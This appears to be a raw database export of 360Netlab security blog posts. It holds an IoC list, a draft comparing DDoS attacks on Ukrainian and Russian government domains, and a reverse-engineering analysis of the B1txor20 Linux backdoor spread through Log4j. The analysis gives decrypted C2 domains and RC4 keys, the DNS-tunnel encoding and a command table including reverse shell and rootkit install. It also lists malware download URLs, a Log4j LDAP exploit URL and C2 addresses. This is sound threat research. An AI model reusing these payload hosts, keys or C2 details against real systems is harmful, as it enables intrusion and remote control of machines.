联系我们\n感兴趣的读者，可以通过邮箱netlab[at]360.cn联系我们。\n\n## 7. IoC List\nURL：\n\n```\nhttp://107.172.249.169/Ugliest.mpsl\nhttp://107.172.249.169/Ugliest.mips\nhttp://107.172.249.169/Ugliest.arm6\nhttp://96.8.121.110/The420SmokePlace.dns/KKveTTgaAAsecNNaaaa.mips\nhttp://96.8.121.110/The420SmokePlace.dns/KKveTTgaAAsecNNaaaa.i486\nhttp://96.8.121.110/The420SmokePlace.dns/KKveTTgaAAsecNNaaaa.m68k\nhttp://107.172.89.142/lx/apep.arm\nhttp://46.101.183.162/eski/.x/juice\nhttp://172.245.186.149/Acid.x86\nhttp://drpelvicpain.com/dr/nano.jpg\nhttp://107.172.89.142/z.sh\n```\n\nmd5：\n\n```\n551341b7f4b547bdc2090f0f40f0cb43\nc49271194f775e7fe66e3470b713f0c1\nf787a3971619ec278c71f4b1eb88a555\n850da4f2e67510e609f9b4db7dd7c8ed\n200ea7427ffd18591c6535f67f167acc\na7de7cb5eff5f8ced23efe7eba90c33f\na67799c49ffee34b3467e7714a5abd86\n4225d7b11dd787288e3edceab34fc43c\nb0783f33954493b1a4ad60eff5eb457a\ne956afe0cef4686de6829dcc08f3d46f\ncf74569c199d630b49c5d363ae9231b6\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]],[1,"p",[]],[1,"p",[]]],"ghostVersion":"3.0"} | 621ed7934257f30007fd0aff |
post | null | 2022-03-03T08:51:47.000Z | 63873b9a8b1c1e0007f5300d | comparison_ua_ru | 0 | 2022-03-03T11:34:18.000Z | public | draft | null | null | 俄乌冲突对比（DDoS攻击） | <!--kg-card-begin: markdown--><p>考虑到我方视野不可避免的具有一定局限性，所以以下内容仅可供参考，并不能作为严谨定论。</p>
<h2 id="">激烈状态对比</h2>
<p>从数据上看，针对 *.gov.ua 域名的攻击在 2月 23 日出现比较多的增长，这一天正是俄乌武力冲突的第一天。</p>
<p><img src="__GHOST_URL__/content/images/2022/03/---copy-2.png" alt="---copy-2" loading="lazy"></p>
<p>而针对 *.gov.ru 域名的攻击，则在 2月 26日 出现比较多的增长（如下图所示），这一天希拉里在媒体号召网络势力通过攻击俄罗斯支持乌克兰。 《<a href="https://www.realclearpolitics.com/video/2022/02/25/hillary_clinton_advocates_cyber_attacks_inside_russia_we_did_some_of_that_in_the_arab_spring.html">Hillary Clinton Advocates Cyber Attacks To Support Opposition Inside Russia: "We Did Some Of That In The Arab Spring"</a>》</p>
<p><img src="__GHOST_URL__/content/images/2022/03/--.png" alt="--" loading="lazy"></p>
<h2 id="">“号召力”评估</h2>
<p>参与 2月23日攻击乌克兰的CC主要看到一个，为 thelocalhomecamera.accesscam.org 。</p>
<p><img src="__GHOST_URL__/content/images/2022/03/atk_ukr_cc.png" alt="atk_ukr_cc" loading="lazy"></p>
<p>参与 2月26日攻击俄罗斯的CC则有9个，由于所涉及CC较多，这里仅附上整理后的列表供参考。</p>
<p><img src="__GHOST_URL__/content/images/2022/03/attack_ru.png" alt="attack_ru" loading="lazy"></p>
<p>从数量上看，似乎乌克兰背后的“号召力”更强一些。但俄罗斯其实是发起方，有战前保密的需求，无法提前发动网络号召，导致民间力量无法加入进来。而乌方9个CC中大部分都是ripprbot这个家族，背后对应的应为一(个/伙)人，且由于参与分析的CC数量较少，故这部分结论仅能作为参考。</p>
<h2 id="">谋划已久/临时起意</h2>
<p>对比“激烈状态对比”章节的两张图，我们还可以发现，针对乌克兰的攻击具有一定的持续性，近大半个月的时间内基本没间断过攻击。而针对俄罗斯的攻击则具有偶发性，仅在 26日-27日有较大波动，其他时间则寥寥无几。这似乎意味着背后参与者与受害者之间并不存在直接的冲突。相反，针对乌克兰攻击的持续性则表明，一直有人对相关受害者表示不满。</p>
<h2 id="ioc">IOC</h2>
<pre><code>attack_ua:
thelocalhomecamera.accesscam.org:27159 2022-02-26 4b135956714efae14b149549fcb34379
attack_ru:
136.144.41.117:3685 2022-02-27 720273b03f19f571a48a9315af22fd0c gafgyt
136.144.41.69:34241 2022-02-06 1b897bdc0103c727a246626bd24aa440 mirai
157.245.117.125:13 2022-02-24 90ed973ac6826ddaf7ca1abe992f8ef5 mirai
171.22.109.201:8080 2022-02-03 60323238aa2cc93669d609a7fb11f154 ripprbot
login-lloyds.com:20715 2022-02-12 5612c200f51e78944ea806318307f4c8 ripprbot
iwishiwasnormal.ru:20715 2022-02-12 5612c200f51e78944ea806318307f4c8 ripprbot
ilikefishing.xyz:20715 2022-02-12 5612c200f51e78944ea806318307f4c8 ripprbot
iranistrash.cc:27015 2022-02-12 1b333e808f8df0ff220f58e0b9fd5b5f ripprbot
juicewrldd.cf:60221 2022-02-10 51f6c8cca2669c3a084c911ba23e686f ripprbot
</code></pre>
<!--kg-card-end: markdown--> | 考虑到我方视野不可避免的具有一定局限性，所以以下内容仅可供参考，并不能作为严谨定论。
激烈状态对比
从数据上看，针对 *.gov.ua 域名的攻击在 2月 23 日出现比较多的增长，这一天正是俄乌武力冲突的第一天。
而针对 *.gov.ru 域名的攻击，则在 2月 26日 出现比较多的增长（如下图所示），这一天希拉里在媒体号召网络势力通过攻击俄罗斯支持乌克兰。 《Hillary Clinton Advocates Cyber Attacks To Support Opposition Inside Russia: "We Did Some Of That In The Arab Spring"》
“号召力”评估
参与 2月23日攻击乌克兰的CC主要看到一个，为 thelocalhomecamera.accesscam.org 。
参与 2月26日攻击俄罗斯的CC则有9个，由于所涉及CC较多，这里仅附上整理后的列表供参考。
从数量上看，似乎乌克兰背后的“号召力”更强一些。但俄罗斯其实是发起方，有战前保密的需求，无法提前发动网络号召，导致民间力量无法加入进来。而乌方9个CC中大部分都是ripprbot这个家族，背后对应的应为一(个/伙)人，且由于参与分析的CC数量较少，故这部分结论仅能作为参考。
谋划已久/临时起意
对比“激烈状态对比”章节的两张图，我们还可以发现，针对乌克兰的攻击具有一定的持续性，近大半个月的时间内基本没间断过攻击。而针对俄罗斯的攻击则具有偶发性，仅在 26日-27日有较大波动，其他时间则寥寥无几。这似乎意味着背后参与者与受害者之间并不存在直接的冲突。相反，针对乌克兰攻击的持续性则表明，一直有人对相关受害者表示不满。
IOC
attack_ua:
thelocalhomecamera.accesscam.org:27159 2022-02-26 4b135956714efae14b149549fcb34379
attack_ru:
136.144.41.117:3685 2022-02-27 720273b03f19f571a48a9315af22fd0c gafgyt
136.144.41.69:34241 2022-02-06 1b897bdc0103c727a246626bd24aa440 mirai
157.245.117.125:13 2022-02-24 90ed973ac6826ddaf7ca1abe992f8ef5 mirai
171.22.109.201:8080 2022-02-03 60323238aa2cc93669d609a7fb11f154 ripprbot
login-lloyds.com:20715 2022-02-12 5612c200f51e78944ea806318307f4c8 ripprbot
iwishiwasnormal.ru:20715 2022-02-12 5612c200f51e78944ea806318307f4c8 ripprbot
ilikefishing.xyz:20715 2022-02-12 5612c200f51e78944ea806318307f4c8 ripprbot
iranistrash.cc:27015 2022-02-12 1b333e808f8df0ff220f58e0b9fd5b5f ripprbot
juicewrldd.cf:60221 2022-02-10 51f6c8cca2669c3a084c911ba23e686f ripprbot
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"考虑到我方视野不可避免的具有一定局限性，所以以下内容仅可供参考，并不能作为严谨定论。\n\n## 激烈状态对比\n\n从数据上看，针对 \\*.gov.ua 域名的攻击在 2月 23 日出现比较多的增长，这一天正是俄乌武力冲突的第一天。\n\n\n\n而针对 \\*.gov.ru 域名的攻击，则在 2月 26日 出现比较多的增长（如下图所示），这一天希拉里在媒体号召网络势力通过攻击俄罗斯支持乌克兰。 《[Hillary Clinton Advocates Cyber Attacks To Support Opposition Inside Russia: \"We Did Some Of That In The Arab Spring\"](https://www.realclearpolitics.com/video/2022/02/25/hillary_clinton_advocates_cyber_attacks_inside_russia_we_did_some_of_that_in_the_arab_spring.html)》\n\n\n\n\n\n## “号召力”评估\n\n参与 2月23日攻击乌克兰的CC主要看到一个，为 thelocalhomecamera.accesscam.org 。\n\n\n\n参与 2月26日攻击俄罗斯的CC则有9个，由于所涉及CC较多，这里仅附上整理后的列表供参考。\n\n\n\n从数量上看，似乎乌克兰背后的“号召力”更强一些。但俄罗斯其实是发起方，有战前保密的需求，无法提前发动网络号召，导致民间力量无法加入进来。而乌方9个CC中大部分都是ripprbot这个家族，背后对应的应为一(个/伙)人，且由于参与分析的CC数量较少，故这部分结论仅能作为参考。\n\n## 谋划已久/临时起意\n\n对比“激烈状态对比”章节的两张图，我们还可以发现，针对乌克兰的攻击具有一定的持续性，近大半个月的时间内基本没间断过攻击。而针对俄罗斯的攻击则具有偶发性，仅在 26日-27日有较大波动，其他时间则寥寥无几。这似乎意味着背后参与者与受害者之间并不存在直接的冲突。相反，针对乌克兰攻击的持续性则表明，一直有人对相关受害者表示不满。\n\n## IOC\n\n```\nattack_ua:\n\nthelocalhomecamera.accesscam.org:27159 2022-02-26 4b135956714efae14b149549fcb34379\n\n\nattack_ru:\n136.144.41.117:3685 2022-02-27 720273b03f19f571a48a9315af22fd0c gafgyt\n136.144.41.69:34241 2022-02-06 1b897bdc0103c727a246626bd24aa440 mirai\n157.245.117.125:13 2022-02-24 90ed973ac6826ddaf7ca1abe992f8ef5 mirai\n171.22.109.201:8080 2022-02-03 60323238aa2cc93669d609a7fb11f154 ripprbot\nlogin-lloyds.com:20715 2022-02-12 5612c200f51e78944ea806318307f4c8 ripprbot\niwishiwasnormal.ru:20715 2022-02-12 5612c200f51e78944ea806318307f4c8 ripprbot\nilikefishing.xyz:20715 2022-02-12 5612c200f51e78944ea806318307f4c8 ripprbot\niranistrash.cc:27015 2022-02-12 1b333e808f8df0ff220f58e0b9fd5b5f ripprbot\njuicewrldd.cf:60221 2022-02-10 51f6c8cca2669c3a084c911ba23e686f ripprbot\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 622081a3a5c41b00078fc431 |
post | null | 2022-03-09T10:51:48.000Z | 63873b9a8b1c1e0007f5300e | b1txor20-use-of-dns-tunneling_cn | 0 | 2022-03-15T10:50:21.000Z | public | published | null | 2022-03-15T03:47:45.000Z | 新威胁：使用DNS Tunnel技术的Linux后门B1txor20正在通过Log4j漏洞传播 | <!--kg-card-begin: markdown--><h2 id="">背景</h2>
<p>自从Log4J漏洞被曝光后，正所谓"忽如一夜漏洞来，大黑小灰笑开怀”。无数黑产团伙摩拳擦掌加入了这个“狂欢派对”，其中既有许多业界非常熟悉的恶意软件家族，同时也有一些新兴势力想趁着这股东风在黑灰产上分一杯羹。360Netlab作为专注于蜜罐和Botnet检测跟踪的团队，我们自该漏洞被公开后就一直关注它会被哪些僵尸网络利用，期间我们看到了Elknot，Gafgyt，Mirai等老朋友的从不缺席，也见证了一些新朋友的粉墨登场。</p>
<p>2022年2月9日，360Netlab的蜜罐系统捕获了一个未知的ELF文件通过Log4J漏洞传播，此文件在运行时产生的网络流量引发了<strong>疑似DNS Tunnel</strong>的告警，这引起了我们的兴趣。经过分析，我们确定是一个全新的僵尸网络家族，基于其传播时使用的文件名"b1t"，XOR加密算法，以及RC4算法秘钥长度为20字节，它被我们命名为<strong>B1txor20</strong>。</p>
<p>简单来说，B1txor20是一个针对Linux平台的后门木马， 它利用DNS Tunnel技术构建C2通信信道，除了传统的后门功能，B1txor20还有开启Socket5代理，远程下载安装Rootkit，反弹Shell等功能，这些功能可以很方便的将被侵入的设备变成跳板，供后续渗透时使用。</p>
<p>另外一个有意思的点是我们发现许多开发好了的功能并没有投入使用（在IDA中表现为，没有交叉引用)；有些功能存在BUG。我们推测B1txor20的作者会持续完善，并根据的不同场景，定制式地开启不同的功能，或许以后我们将遇到B1txor20的兄弟姐妹。</p>
<p>鉴于B1txor20所使用漏洞的高危性，以及其C2信道的隐蔽性，我们决定撰写本文向社区分享我们的发现，共同维护网络安全。</p>
<h2 id="b1txor20">B1txor20概览</h2>
<p>我们一共捕获了4个不同MD5的B1txor20样本文件，它们的功能几乎一样，一共支持15个功能号，根据这些功能，可以将B1txor20定性为：一个使用DNS Tunnel技术构建隐蔽的C2信道，支持直连和中继2种方式，同时使用zlib压缩，RC4加密，BASE64编码的方式保护流量的后门木马，目前通过Log4j漏洞传播，主要针对ARM,X64 CPU架构的Linux平台。</p>
<p>目前支持的主要功能如下所示：</p>
<ol>
<li>SHELL</li>
<li>Proxy</li>
<li>执行任意命令</li>
<li>安装Rootkit</li>
<li>上传敏感信息</li>
</ol>
<p>它的基本流程图如下所示：</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_net.png" width="860px" />
<h2 id="">逆向分析</h2>
<p>本文选择2022年2月09日的样本为主要分析对象，它的基本信息如下所示：</p>
<pre><code>MD5:0a0c43726fd256ad827f4108bdf5e772
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped
Packer:None
</code></pre>
<p>B1txor20的样本是动态链接的，因此在逆向上比较容易，简单来说，当B1txor20在被侵入设备动行后，首先会将自身伪装成[netns]进程，通过<code>/var/run/.netns.pid</code>这个PID文件实现单一实例，然后使用<code>/etc/machine-id</code>，<code>/tmp/.138171241</code>或<code>/dev/urandom</code>3者中任意一个，生成BotID，接着解密用于DNS Tunnel的域名，以及用于加密流量的RC4秘钥并测试DNS服务器的连通性，最后使用DNS Tunnel技术向C2发送上线信息，等待执行C2下发的指令。其中进程伪装，单一实例这些功能比较简单，就再不细述，下文将围绕DNS Tunnel剖析B1txor20的实现。</p>
<h2 id="botid">生成Bot ID</h2>
<p>B1txor20通过以下代码片段从<code>etc/machine-id</code>，或<code>/tmp/.138171241</code>，读取32字节用于生成BotId，如果失败，则通过<code>/dev/urandom</code>生成16字节数据，并将它写入到前面2个文件。</p>
<p><img src="__GHOST_URL__/content/images/2022/03/b1t_id.png" alt="b1t_id" loading="lazy"></p>
<p>下面的代码片段是BotId的计算过程：<br>
<img src="__GHOST_URL__/content/images/2022/03/b1t_calc.png" alt="b1t_id" loading="lazy"></p>
<p>以我们虚拟机的machine-id值<code>ab3b49d10ec42c38b1093b8ce9ad12af</code>为例，通过下面等效的python代码，可以算出BotId的值为<strong>0x125d</strong>。</p>
<pre><code class="language-python">import struct
id='ab3b49d10ec42c38b1093b8ce9ad12af'
values=struct.unpack("<16H",id)
sum=0
for i in values:
sum ^= i
print hex(sum)
if sum&0xff <0xf:
sum+=0x10
if sum>>8 < 0xf:
sum+=0x1000
print hex(sum) # sum=0x125d
</code></pre>
<h2 id="">解密</h2>
<p>B1txor20通过以下代码片段解密存储在样本中的域名和RC4秘钥，<br>
<img src="__GHOST_URL__/content/images/2022/03/b1t_dec.png" width="860px" /><br>
它的原理非常简单，就是单字节xor操作，其中<code>xor_key</code>为<code>49 D3 4F A7 A2 BC 4D FA 40 CF A6 32 31 E9 59 A1</code></p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_xor.png" width="860px" />
<p>通过下图的CyberChef实现等效的解密过程，可知域名为<code>.dns.webserv.systems</code>，RC4秘钥为<code>EnLgLKHhy20f8A1dX85l</code>。</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_chef_xor.png" width="860px" />
<h2 id="dns">测出DNS服务器的连通性</h2>
<p>B1txor20通过以下代码片段测试3个DNS （8.8.8.8:53，8.8.8.4:53，194.165.16.24:443）服务器的连通性。<br>
<img src="__GHOST_URL__/content/images/2022/03/b1t_dns.png" width="860px" /><br>
它的原理是使用<code>res_mkquery</code>API构建“google.com”的DNS请求报文，然后通过<code>res_send</code>发送请求，只要能够发送成功，就认为和相应DNS服务器的网络是连通，把它们保存起来供后续使用。<br>
<img src="__GHOST_URL__/content/images/2022/03/b1t_test.png" width="860px" /></p>
<p>实际中Bot与194.165.16.24产生的流量如下所示：<br>
<img src="__GHOST_URL__/content/images/2022/03/b1t_show.png" width="860px" /></p>
<h2 id="cc">C&C通信</h2>
<p>当上述的准备工作完成后，B1txor20进入最终阶段，使用DNS Tunnel技术和C2建立通信，等待执行C2下发的指令。<br>
<img src="__GHOST_URL__/content/images/2022/03/b1t_final.png" width="860px" /></p>
<p>一般来说恶意软件使用DNS Tunnel的场景是这样的：<code>Bot把窃取的敏感信息，命令的执行结果等等任何需要传递的信息</code>，在使用<strong>特定的编码技术</strong>隐藏之后，<strong>以DNS请求的方式</strong>，将它发送到C2；C2到接收到请求之后，把payload做为DNS请求的响应，将它发送到Bot端。这样一来，Bot与C2就在DNS协议的帮助之下实现了通信。在这样的网络结构中，有3个关键的点值得注意</p>
<ol>
<li>C2必须支持DNS协议</li>
<li>特定的编码技术</li>
<li>DNS请求的发送方式</li>
</ol>
<p>下文将围绕这些点，结合B1txor20在实际中产生的流量，分析B1txor20的通信技术细节。<br>
<img src="__GHOST_URL__/content/images/2022/03/b1t_packet.png" width="860px" /></p>
<h2 id="0x01c2">0x01:定位C2</h2>
<p>通过上图的流量，可以看出B1txor20使用的SLD是webserv.systems，使用DIG命令可知此SLD绑定的IP为194.165.16.24；而194这个IP上又开启了DNS解析服务，因此我们可以确定B1txor20的C2正是194.165.16.24。</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_dnstxt.png" width="860px" />
<h2 id="0x02tunnel">0x02:生成Tunnel域名</h2>
<p>B1txor20的Tunnel域名格式为<code>Base64-Like String</code>+<code>.dns.websrv.systems</code> 很明显前面<br>
类似Base64的字串就是Bot发往C2的信息，它是如何生成的呢？<br>
首先，B1txor20数据包的有一个前置构造过程，可以看出其格式为<code>0xFF + BotId + 0xFF + Stage + 0xFF + Other Info</code>，<strong>0xFF</strong>用于分隔不同的项，当成完构造后，再根据不同的Stage值，进入不同的任务，填充<code>Other Info</code>部分。</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_pre.png" width="860px" />
<p>以上线这个任务为例，Stage值为1，通过<code>gather_info</code>函数，将"sysinfo_uptime,uid,hostname"这些信息填充到<code>Other Info</code>中，它们使用<strong>0x0a</strong>分隔。</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_reg.png" width="860px" />
<p>当所需的信息都已准备好之后，B1txor20接着使用<code>process_query</code>函数对上面的信息进一步处理，它包括<strong>ZLIB压缩，RC4加密，Base64编码</strong>3个过程。</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_process.png" width="860px" />
<p>其中RC4加密所使用的秘钥就是前文解密章节所说的字串“EnLgLKHhy20f8A1dX85l”，Base64使用的Alphabet String为<code>ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789^_</code>。</p>
<p>最后B1txor20在上面生成的Base64字串前加入1字节表示status，4字节随机字串，再和domain进行拼接，就么得了最终要查询的域名。其中status的取值为['0', '1', '2']，0表示当前的查询被截断了，后续的查询和当前应该拼成同一个；1表示当成查询是完整的。<br>
<img src="__GHOST_URL__/content/images/2022/03/b1t_tun.png" width="860px" /><br>
以实际产生的一个查询<code>1HQoOKPvBKs8yqO1tTUQkCqGWN9anB4RAGWhnJy8A.dns.webserv.systems</code>为例，去除前5字节，以及.dns.webserv.systems部分，得到<code>KPvBKs8yqO1tTUQkCqGWN9anB4RAGWhnJy8A</code>，然后使用Base64解码，RC4解密，ZLIB解压，就能得到了以下原始数据。</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_origin.png" width="860px" />
<p>从数据内容和格式来看，它和我们前文的描述能一一对应，说明我们前面的分析是正确的。</p>
<pre><code>Botid =0x125d
Stage=1
sysinfo.uptime = 34
uid=30
hostname=debian
</code></pre>
<h2 id="0x3dns">0x3:发送DNS请求</h2>
<p>当上述域名构造完成后，B1txor20使用<code>RES</code>系列API生成并发送DNS请求。</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_senddns.png" width="860px" />
<p>根据前文测试DNS连通情况的不同，发送DNS请求的方式有3种。</p>
<ol>
<li>向public dns(8.8.8.8，8.8.4.4)发送</li>
<li>直接向C2(194.165.16.24)发送</li>
<li>向local dns(nameserver in /etc/resolv.conf)发送</li>
</ol>
<p>其中2这种方式，它的速度较快，但蔽性弱，很容易被探测追踪；1,3这种俩种方式隐蔽性强，但速度稍慢。</p>
<h2 id="0x4c2">0x4:处理C2指令</h2>
<p>当Bot通过上述方式发送DNS请求后，就等待执行C2下发的指令。C2的指令存放在DNS请求的响应报文中，它的格式为<code>Status(1 byte):Body</code>，其中Body部分也使用了“ZLIB压缩，RC4加密，BASE64编码”这种保护方法。</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_recv.png" width="860px" />
<p>以下图实际收到的指令“1VSE6NZwczNMm2zgaXeLkZro= ”为例，</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_cmd.png" width="860px" />
<p>Body部分为"VSE6NZwczNMm2zgaXeLkZro="，它经过Base64解码，RC4解密后，就能得到了以下格式的数据，再将红色部分解压，就得到了最终的指令<code>FF 02 FF 0A FF</code>，可以看出它的格式和上文查询产生的格式是一致的，此时可知Bot将去执行0x02号功能，至此Bot与C2的一轮交互就完成了。</p>
<img src="__GHOST_URL__/content/images/2022/03/b1t_after.png" width="860px" />
<h2 id="cc">C&C指令</h2>
<p>B1txor20一共支持15条指令，指令号与功能的对应关系如下表所示：</p>
<table>
<thead>
<tr>
<th>Cmd ID</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1</td>
<td>Beacon/Heartbeat</td>
</tr>
<tr>
<td>0x2</td>
<td>Upload system info</td>
</tr>
<tr>
<td>0x3</td>
<td>Create "/dev/pamd" (unix domain socket) which can get a shell</td>
</tr>
<tr>
<td>0x4</td>
<td>Exec arbitrary system cmd via popen</td>
</tr>
<tr>
<td>0x5</td>
<td>Traffic forwarding</td>
</tr>
<tr>
<td>0x6</td>
<td>Write File</td>
</tr>
<tr>
<td>0x7</td>
<td>Read File</td>
</tr>
<tr>
<td>0x8</td>
<td>Deliver info via "/var/tmp/.unetns"(unix domain socket)，Not used</td>
</tr>
<tr>
<td>0x9</td>
<td>Upload specific info，Not used</td>
</tr>
<tr>
<td>0x10</td>
<td>Stop proxy service</td>
</tr>
<tr>
<td>0x11</td>
<td>Start proxy service</td>
</tr>
<tr>
<td>0x1a</td>
<td>Create proxy service</td>
</tr>
<tr>
<td>0x21</td>
<td>Reverse shell</td>
</tr>
<tr>
<td>0x50</td>
<td>Upload "/boot/conf- XXX" info，Not used</td>
</tr>
<tr>
<td>0x51</td>
<td>install M3T4M0RPH1N3.ko rootkit</td>
</tr>
</tbody>
</table>
<p>表中"Not used"表示这个功能，在样本中有应的处理代码，但没有被调用，我们不确定这些代码是用于调试的，或是在别的样本中使用。<br>
另外有意思的一点是，我们发现有些功能在实现上是有Bug的，如0x3，它在bind 域套接字后，使用remove函数删除了套接字文件，这会让此套接字无法被connect，进而整个功能失效。<br>
<img src="__GHOST_URL__/content/images/2022/03/b1t_bug.png" width="860px" /></p>
<h2 id="">花絮</h2>
<p>域名一买就是6年，这是想要大干一票？</p>
<pre><code>webserv.systems createddate 2021-02-08 15:13:22
webserv.systems updateddate 2021-02-24 22:27:23
webserv.systems expiresdate 2027-02-08 15:13:22
</code></pre>
<h2 id="">联系我们</h2>
<p>感兴趣的读者，可以在<a href="https://twitter.com/360Netlab">twitter</a>或者在微信公众号 360Netlab上联系我们。</p>
<h2 id="ioc">IOC</h2>
<h3 id="c2">C2</h3>
<pre><code>webserv.systems
194.165.16.24:53
194.165.16.24:443
</code></pre>
<h3 id="scanner">Scanner</h3>
<pre><code>104.244.73.126 Luxembourg|Luxembourg|Unknown 53667|FranTech_Solutions
109.201.133.100 Netherlands|North_Holland|Amsterdam 43350|NForce_Entertainment_B.V.
162.247.74.27 United_States|New_York|New_York_City 4224|The_Calyx_Institute
166.78.48.7 United_States|Texas|Dallas 33070|Rackspace_Hosting
171.25.193.78 Sweden|Stockholm_County|Stockholm 198093|Foreningen_for_digitala_fri-_och_rattigheter
185.100.87.202 Romania|Bucharest|Unknown 200651|Flokinet_Ltd
185.129.62.62 Denmark|Region_Hovedstaden|Copenhagen 57860|Zencurity_ApS
185.220.100.240 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.241 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.242 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.243 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.246 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.249 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.250 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.252 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.254 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.255 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.101.134 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.136 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.140 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.143 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.144 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.151 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.155 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.161 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.162 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.164 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.166 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.168 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.172 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.174 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.176 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.181 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.191 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.34 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.37 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.39 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.40 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.42 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.43 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.46 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.5 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.50 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.51 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.53 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.54 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.56 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.57 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.61 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.56.80.65 Netherlands|South_Holland|Capelle_aan_den_IJssel 43350|NForce_Entertainment_B.V.
193.218.118.158 Ukraine|Kiev|Unknown None;
194.32.107.159 Romania|Romania|Unknown None;
194.32.107.187 Romania|Romania|Unknown None;
194.88.143.66 Italy|Lombardy|Metropolitan_City_of_Milan 49367|Seflow_S.N.C._Di_Marco_Brame'_&_C.
199.195.250.77 United_States|New_York|New_York_City 53667|FranTech_Solutions
23.129.64.216 United_States|Washington|Seattle 396507|Emerald_Onion
23.154.177.4 North_America_Regions|North_America_Regions|Unknown None;
45.13.104.179 France|Ile-de-France|Paris 57199|MilkyWan
45.154.255.147 Sweden|Stockholm_County|Stockholm 41281|KeFF_Networks_Ltd
45.61.185.90 United_States|United_States|Unknown 8100|QuadraNet_Enterprises_LLC
46.166.139.111 Netherlands|South_Holland|Capelle_aan_den_IJssel 43350|NForce_Entertainment_B.V.
5.2.69.50 Netherlands|Flevoland|Dronten 60404|Liteserver_Holding_B.V.
51.15.43.205 Netherlands|North_Holland|Haarlem 12876|Online_S.a.s.
62.102.148.68 Sweden|Stockholm_County|Akersberga 51815|IP-Only_Networks_AB
62.102.148.69 Sweden|Stockholm_County|Akersberga 51815|IP-Only_Networks_AB
81.17.18.62 Switzerland|Canton_of_Ticino|Unknown 51852|Private_Layer_INC
</code></pre>
<h3 id="downloader">Downloader</h3>
<pre><code>hxxp://179.60.150.23:8000/xExportObject.class
ldap://179.60.150.23:1389/o=tomcat
hxxp://194.165.16.24:8229/b1t_1t.sh
hxxp://194.165.16.24:8228/b1t
hxxp://194.165.16.24:8228/b1t
hxxp://194.165.16.24:8228/_run.sh
hxxp://194.165.16.24:8228/run.sh
hxxp://194.165.16.24:8228/share.sh
hxxp://194.165.16.24:8228/b1t
hxxp://194.165.16.24:8228/run.sh
hxxp://194.165.16.24:8228/run.sh
hxxp://194.165.16.24:8229/b4d4b1t.elf
</code></pre>
<h3 id="samplemd5">Sample MD5</h3>
<pre><code>027d74534a32ba27f225fff6ee7a755f
0a0c43726fd256ad827f4108bdf5e772
24c49e4c75c6662365e10bbaeaeecb04
2e5724e968f91faaf156c48ec879bb40
3192e913ed0138b2de32c5e95146a24a
40024288c0d230c0b8ad86075bd7c678
43fcb5f22a53a88e726ebef46095cd6b
59690bd935184f2ce4b7de0a60e23f57
5f77c32c37ae7d25e927d91eb3b61c87
